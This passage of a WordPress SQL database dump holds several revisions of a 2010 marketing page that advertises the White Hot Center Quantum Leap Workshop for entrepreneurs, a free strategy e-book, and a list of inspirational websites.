(1102, 2, '2010-10-07 12:06:20', '2010-10-07 19:06:20', '<span style="color: #808080;"> </span>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1089" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></strong></span>\r\n<h1 style="text-align: left;"><span style="color: #000000;">Early Registration is open!</span></h1>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their visions for a bigger, more rewarding future in their business and in their whole life! Will you be among them?</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">The White Hot Center Quantum Leap Workshop™ has been designed to offer entrepreneurs a unique opportunity to step away from working in their business and place their creative energies and focus working on developing innovative ideas to create unparalleled competitive advantage in their business, and more fulfillment in every area of their life!</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;"><span style="color: #000000;">To learn more–take the leap and download the Workshop Brochure. If you would like more information on earlier registration prior to the official workshop registration site going live in November 2010, call the office 805 640 3920, or email Thomson Dawson.\r\n</span></span></h2>\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf"><img class="alignnone size-full wp-image-1093" title="freereport" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></a></span><span style="color: #333333;"><strong>Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable you to have more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!<span style="color: #ff6600;"> <span style="color: #000000;">If you find the guide useful to you, please tweet the link here share it with others. </span></span></strong></span>\r\n\r\n<span style="color: #333333;"><strong><span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span></strong></span>\r\n<h2><strong><span style="color: #ff6600;">White Hot Center highly recommends you check out these great resources for your personal and professional inspiration</span>:</strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.strategiccoach.com" target="_blank">strategiccoach.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">www.oddpodz.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-10-07 12:06:20', '2010-10-07 19:06:20', '', 145, 'http://www.whitehotcenter.com/2010/10/07/145-revision-46/', 0, 'revision', '', 0),
(1104, 2, '2010-10-07 12:14:02', '2010-10-07 19:14:02', 'The White Hot Center Quantum Leap Workshop Brochure', 'QuantumLeap brochure.web', 0, '', 'inherit', 'open', 'open', '', 'quantumleap-brochure-web', '', '', '2010-10-07 12:14:02', '2010-10-07 19:14:02', '', 145, 'http://www.whitehotcenter.com/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf', 0, 'attachment', 'application/pdf', 0),
(1103, 2, '2010-10-07 12:09:51', '2010-10-07 19:09:51', '<span style="color: #808080;"> </span>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1089" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></strong></span>\r\n<h1 style="text-align: left;"><span style="color: #000000;">Early Registration is open!</span></h1>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their visions for a bigger, more rewarding future in their business and in their whole life! Will you be among them?</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">The White Hot Center Quantum Leap Workshop™ has been designed to offer entrepreneurs a unique opportunity to step away from working in their business and place their creative energies and focus working on developing innovative ideas to create unparalleled competitive advantage in their business, and more fulfillment in every area of their life!</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;"><span style="color: #000000;">To learn more–take the leap and download the Workshop Brochure. If you would like more information on earlier registration prior to the official workshop registration site going live in November 2010, call the office 805 640 3920, or email Thomson Dawson.</span></span></h2>\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #000000;">Inspirational Resources\r\n</span></span></h1>\r\n<h2 style="text-align: left;"></h2>\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf"><img class="alignnone size-full wp-image-1093" title="freereport" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></a></span><span style="color: #333333;"><strong>Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable you to have more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!<span style="color: #ff6600;"> <span style="color: #000000;">If you find the guide useful to you, please tweet the link here share it with others. </span></span></strong></span>\r\n\r\n<span style="color: #333333;"><strong><span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span></strong></span>\r\n<h2><strong><span style="color: #ff6600;">White Hot Center highly recommends you check out these great resources for your personal and professional inspiration</span>:</strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.strategiccoach.com" target="_blank">strategiccoach.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">www.oddpodz.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-10-07 12:09:51', '2010-10-07 19:09:51', '', 145, 'http://www.whitehotcenter.com/2010/10/07/145-revision-47/', 0, 'revision', '', 0);
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(1105, 2, '2010-10-07 12:11:47', '2010-10-07 19:11:47', '<span style="color: #808080;"> </span>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1089" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></strong></span>\r\n<h1 style="text-align: left;"><span style="color: #000000;">Early Registration is open!</span></h1>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their visions for a bigger, more rewarding future in their business and in their whole life! Will you be among them?</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">The White Hot Center Quantum Leap Workshop™ has been designed to offer entrepreneurs a unique opportunity to step away from working in their business and place their creative energies and focus working on developing innovative ideas to create unparalleled competitive advantage in their business, and more fulfillment in every area of their life!</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;"><span style="color: #000000;">To learn more–take the leap and download the Workshop Brochure. If you would like more information on earlier registration prior to the official workshop registration site going live in November 2010, call the office 805 640 3920, or email Thomson Dawson.</span></span></h2>\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #000000;">Inspirational Resources\r\n</span></span></h1>\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf"><img class="alignnone size-full wp-image-1093" title="freereport" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></a></span><span style="color: #333333;"><strong>Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable you to have more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!</strong><span style="color: #ff6600;"><span style="color: #000000;"></span></span></span>\r\n\r\n<span style="color: #333333;"><strong><span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span></strong></span>\r\n<h2><strong><span style="color: #ff6600;">The White Hot Center highly recommends you check out these great resources for your personal and professional inspiration</span><span style="color: #ff6600;">:</span></strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.strategiccoach.com" target="_blank">strategiccoach.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">www.oddpodz.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-10-07 12:11:47', '2010-10-07 19:11:47', '', 145, 'http://www.whitehotcenter.com/2010/10/07/145-revision-48/', 0, 'revision', '', 0),
(1112, 2, '2010-10-07 16:16:46', '2010-10-07 23:16:46', 'Meditation Mount Conference Center Ojai, California', 'meditation.a', 0, '', 'inherit', 'open', 'open', '', 'meditation-a', '', '', '2010-10-07 16:16:46', '2010-10-07 23:16:46', '', 145, 'http://www.whitehotcenter.com/wp-content/uploads/2009/04/meditation.a.gif', 0, 'attachment', 'image/gif', 0),
(1106, 2, '2010-10-07 12:16:11', '2010-10-07 19:16:11', '<span style="color: #808080;"> </span>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1089" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></strong></span>\r\n<h1 style="text-align: left;"><span style="color: #000000;">Early Registration is open!</span></h1>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their visions for a bigger, more rewarding future in their business and in their whole life! Will you be among them?</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">The White Hot Center Quantum Leap Workshop™ has been designed to offer entrepreneurs a unique opportunity to step away from working in their business and place their creative energies and focus working on developing innovative ideas to create unparalleled competitive advantage in their business, and more fulfillment in every area of their life!</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;"><span style="color: #000000;">To learn more–take the leap and download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a>. If you would like more information on earlier registration prior to the official workshop registration site going live in November 2010, call the office 805 640 3920, or email Thomson Dawson.</span></span></h2>\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #000000;">Inspirational Resources\r\n</span></span></h1>\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf"><img class="alignnone size-full wp-image-1093" title="freereport" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></a></span><span style="color: #333333;"><strong>Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable you to have more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!</strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></span>\r\n\r\n<span style="color: #333333;"><strong><span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span></strong></span>\r\n<h2><strong><span style="color: #ff6600;">The White Hot Center highly recommends you check out these great resources for your personal and professional inspiration</span><span style="color: #ff6600;">:</span></strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.strategiccoach.com" target="_blank">strategiccoach.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">www.oddpodz.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-10-07 12:16:11', '2010-10-07 19:16:11', '', 145, 'http://www.whitehotcenter.com/2010/10/07/145-revision-49/', 0, 'revision', '', 0),
(1108, 2, '2010-10-07 12:19:19', '2010-10-07 19:19:19', '<span style="color: #808080;"> </span>\r\n<h1></h1>\r\n<strong>\r\n</strong>\r\n<h1><strong>Early Registration is open!</strong></h1>\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1089" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></strong></span>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their visions for a bigger, more rewarding future in their business and in their whole life! Will you be among them?</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">The White Hot Center Quantum Leap Workshop™ has been designed to offer entrepreneurs a unique opportunity to step away from working in their business and place their creative energies and focus working on developing innovative ideas to create unparalleled competitive advantage in their business, and more fulfillment in every area of their life!</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;"><span style="color: #000000;">To learn more–take the leap and download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a>. If you would like more information on earlier registration prior to the official workshop registration site going live in November 2010, call the office 805 640 3920, or email Thomson Dawson.</span></span></h2>\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #000000;">Inspirational Resources\r\n</span></span></h1>\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf"><img class="alignnone size-full wp-image-1093" title="freereport" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></a></span><span style="color: #333333;"><strong>Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable you to have more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!</strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></span>\r\n\r\n<span style="color: #333333;"><strong><span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span></strong></span>\r\n<h2><strong><span style="color: #ff6600;">The White Hot Center highly recommends you check out these great resources for your personal and professional inspiration</span><span style="color: #ff6600;">:</span></strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.strategiccoach.com" target="_blank">strategiccoach.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">www.oddpodz.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-10-07 12:19:19', '2010-10-07 19:19:19', '', 145, 'http://www.whitehotcenter.com/2010/10/07/145-revision-51/', 0, 'revision', '', 0),
(1107, 2, '2010-10-07 12:18:28', '2010-10-07 19:18:28', '<span style="color: #808080;"> </span>\r\n<h1>Early Registration is Open!</h1>\r\n<strong><img title="WHC-Quantum-banner" src="../wp-content/uploads/2009/04/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></strong>\r\n<h1><strong>Early Registration is open!</strong></h1>\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1089" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></strong></span>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their visions for a bigger, more rewarding future in their business and in their whole life! Will you be among them?</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">The White Hot Center Quantum Leap Workshop™ has been designed to offer entrepreneurs a unique opportunity to step away from working in their business and place their creative energies and focus working on developing innovative ideas to create unparalleled competitive advantage in their business, and more fulfillment in every area of their life!</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;"><span style="color: #000000;">To learn more–take the leap and download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a>. If you would like more information on earlier registration prior to the official workshop registration site going live in November 2010, call the office 805 640 3920, or email Thomson Dawson.</span></span></h2>\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #000000;">Inspirational Resources\r\n</span></span></h1>\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf"><img class="alignnone size-full wp-image-1093" title="freereport" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></a></span><span style="color: #333333;"><strong>Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable you to have more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!</strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></span>\r\n\r\n<span style="color: #333333;"><strong><span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span></strong></span>\r\n<h2><strong><span style="color: #ff6600;">The White Hot Center highly recommends you check out these great resources for your personal and professional inspiration</span><span style="color: #ff6600;">:</span></strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.strategiccoach.com" target="_blank">strategiccoach.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">www.oddpodz.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-10-07 12:18:28', '2010-10-07 19:18:28', '', 145, 'http://www.whitehotcenter.com/2010/10/07/145-revision-50/', 0, 'revision', '', 0),
(1109, 2, '2010-10-07 12:20:06', '2010-10-07 19:20:06', '<span style="color: #808080;"> </span>\r\n\r\n<strong>\r\n</strong>\r\n<h1><strong>Early Registration is open!</strong></h1>\r\n<strong>\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1089" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></strong></span>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their visions for a bigger, more rewarding future in their business and in their whole life! Will you be among them?</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">The White Hot Center Quantum Leap Workshop™ has been designed to offer entrepreneurs a unique opportunity to step away from working in their business and place their creative energies and focus working on developing innovative ideas to create unparalleled competitive advantage in their business, and more fulfillment in every area of their life!</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;"><span style="color: #000000;">To learn more–take the leap and download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a>. If you would like more information on earlier registration prior to the official workshop registration site going live in November 2010, call the office 805 640 3920, or email Thomson Dawson.</span></span></h2>\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #000000;">Inspirational Resources\r\n</span></span></h1>\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><a 